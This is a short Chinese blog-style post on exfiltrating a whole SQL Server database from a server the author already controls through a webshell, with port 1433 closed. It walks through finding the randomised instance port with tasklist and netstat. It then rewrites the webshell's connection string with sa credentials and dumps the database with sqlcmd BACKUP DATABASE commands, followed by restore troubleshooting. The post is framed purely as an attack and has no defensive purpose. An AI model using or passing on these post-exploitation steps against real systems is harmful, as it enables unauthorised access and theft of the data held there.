解决 SqlServer 脱裤的一个小问题
Contents
sql server配置管理器中, 为了安全设置.server 协议可以禁用固定的端口.采用随机端口运行 mssql
例如说绑定一个固定端口
目的
在成功获取到一个 webshell 的前提下.服务器没有开放1433端口..怎么把数据库脱下来
想法1:
利用 socks5转发. 使用 navicat 连接服务器..但是发现使用 ashx 脚本 socks5丢失 udp 的数据包. 失败.继而使用了自用的 sock5的程序反向代理到 vps..但是还是失败.
想法2:
查找本地备份sql文件.失败
想法3:
使用aspx大马导出..发现能导出成功.但是文件缺失严重..数据不全..[可能是大马的问题]. 失败
想法4:
使用 sqlcmd 导出导入.成功
峰回路转
通过 tasklist
查看进程中 sql server 的信息发现两个 pid
1 2 3 4 |
tasklist /svc sqlservr.exe 6666 MSSQL$SQLEXPRESS fdlauncher.exe 6667 MSSQLFDLauncher$SQLEXPRESS |
通过netstat
发现存在端口开放情况
1 2 3 4 |
netstat -ano |findstr '6666' TCP 0.0.0.0:45392 0.0.0.0:0 LISTENING 6666 TCP [::]:45392 [::]:0 LISTENING 6666 |
利用常用的大马中 mssql 管理功能
server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB
变更为
server=localhost\SQLEXPRESS;port=45392;UID=sa;PWD=sapassword;database=dbname;Provider=SQLOLEDB
成功连接..但是发现利用导出 backup database 功能实在是不好用…导出继续失败
利用 set 查看到 mssql 有相关环境变量
这里我就不放图了.大家都懂.
使用sqlcmd备份还原sqlserver数据库
1 2 3 |
备份: sqlcmd -S localhost\SQLEXPRESS,45392 -U sa -P sapassword -d dbname -Q"BACKUP DATABASE dbname to disk='c:/backup/dbname.bak'" |
1 2 3 |
还原: sqlcmd -S localhost\SQLEXPRESS,45392 -U sa -P sapassword -d dbname -Q"RESTORE DATABASE dbname FROM disk='c:/dbname.bak'" |
至于其中的目录斟酌修改..
导入到本地发现又出现新的问题
问题1.1: RESTORE 无法处理数据库 ‘dbname’,因为它正由此会话使用。建议在执行此操作时使用 master 数据库。
问题1.2: 消息 3013,级别 16,状态 1,服务器 localhost\SQLEXPRESS,第 1 行
RESTORE DATABASE 正在异常终止。
sqlcmd -S localhost\SQLEXPRESS,45392 -U sa -P sapassword -d dbname -Q"use master; RESTORE DATABASE dbname FROM disk='c:/dbname.bak' with REPLACE"
如果还是不行
说明你的服务器sqlserver版本和对方的服务器版本不同.
解决办法: 升级同级别或者更高版本的环境
结语:
上面的步骤虽然失败.但是给我提供了很大帮助.server 及 port 的指定
例如 navicat 没有指定端口的选项.
就在 server 中填写localhost,port
连接 server 中使用 localhost 失败 ,localhost\SQLEXPRESS 成功 等等…
就这样